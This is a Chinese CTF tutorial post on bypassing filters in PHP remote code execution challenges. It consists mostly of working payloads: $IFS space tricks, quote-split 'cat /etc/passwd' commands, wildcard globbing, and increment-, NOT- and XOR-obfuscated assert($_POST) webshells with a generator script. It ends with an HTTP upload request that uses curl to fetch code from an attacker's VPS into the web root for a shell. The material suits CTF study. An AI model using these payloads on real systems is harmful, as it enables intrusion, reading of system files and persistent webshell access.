ctf中RCE回显绕过

RCE(Remote code execution)远程代码执行漏洞,RCE又分命令执行和代码执行。

  • RCE-远程代码执行:远程执行PHP代码
  • RCE-远程命令执行:远程执行Linux或者Windows等系统命令。

对于ctf中的题目,我们需要考虑命令的绕过,有空格绕过,系统命令的关键字绕过

空格绕过:对于空格我们可以替换为$IFS,$IFS$9,${IFS},%09,<,>

命令连接符:

Windows和Linux都支持的命令连接符:

cmd1 | cmd2 只执行cmd2

cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行

cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2

cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

Linux还支持分号(;),cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2

变量拼接绕过关键字:

a=fl;b=ag

system(cat '$a.$b.php');

url编码绕过

system(cat 'Y2F0IC9ldGMvcGFzc3dk') ;

利用拼接绕过:

(sy.(st).em)(whoami);//

 c''a''t /etc/passwd//单引

c""a""t /etc/passwd//双引

c``a``t /etc/passwd/反单引

c\a\t /etc/passwd//反斜线

利用通配符绕过:

列如cat /passwd:

??? /e??/?a????

cat /e*/pa*

glob通配符:

“ [A-Fa-f0-9] ”相当于 " [ABCDEFabcdef0123456789] ".)

“ [-%] ”代表“ [!”#$%] ”而“ [az] ”代表“任何 小写字母”

利用[@-[]来表示大写字母:

[...]表示匹配方括号之中的任意一个字符

{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。

{...}与[...]有一个重要的区别,当匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开

cat t[a-z]st

cat t{a,b,c,d,e,f}st

自增绕过:

'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。

payload:

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

取反绕过:

取反跟异或原理上差不多,唯一不同的是运算的逻辑不一样,当然这跟我们半毛钱关系都没有,我们也不需要手算,我就是纯属凑个字数。

这个非常简单,就是把命令先取反,然后在上传的时候,加一个取反符号‘~’,再在服务器上进行一次取反运算,

如图示,对phpinfo取反,再取反,仍然得到phpinfo,但是可以利用它进行一些对数字字母过滤的绕过

<?php 
$a=urlencode(~'assert');
echo $a;
echo '</br>';
$b=urlencode(~'eval($_POST[1]);');
echo $b;

payload

(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);

 

异或绕过

# -*- coding: utf-8 -*-

payload = "assert"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的字符十进制
str1,str2 = '',''

for char in payload:
    for i in strlist:
        for j in strlist:
            if(i ^ j == ord(char)):
                i = '%{:0>2}'.format(hex(i)[2:])
                j = '%{:0>2}'.format(hex(j)[2:])
                print("('{0}'^'{1}')".format(i,j),end=".")
                break
        else:
            continue
        break

一次代码执行只能得到我们想要执行语句的字符串,并不能执行语句,所以需要执行两次代码执行,构造

assert($_GET[_]);

 使用脚本对每个字母进行转换,然后拼接

$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');
//$_='assert';
$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');
//$__='_GET';
$___=$$__;
//$___='$_GET';
$_($___[_]);
//assert($_GET[_]);

payload

$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();

临时文件绕过:

临时文件目录:

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)

大概就是在自己的vps上写一个命令执行的txt,然后在题目post该命令

 curl http://your_vps/1.txt > /var/www/html/1.php

然后 ?cmd=?><?=`/??p/p?p??????`;

为什么可以这样执行呢?因为在linux里,如果一个文件里有命令,是可以通过这个文件名执行命令的,这里我们相当于使用临时文件执行了命令

POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 618a0396-811a-4d71-8a45-f1de434bde26.chall.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------5642920497686823912130808832
Connection: close
Cookie: UM_distinctid=17424c95164f2-06a0a787df53968-4c302273-144000-17424c9516533d
Upgrade-Insecure-Requests: 1
Content-Length: 291

-----------------------------5642920497686823912130808832
Content-Disposition: form-data; name="fileUpload"; filename="dd.txt"
Content-Type: text/plain

#! /bin/sh

curl http://your_vps/dd.txt >> /var/www/html/Demo.php
-----------------------------5642920497686823912130808832--

这样就会把dd.txt里的内容以php的形式写入到网站服务器里,完成getshell。 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值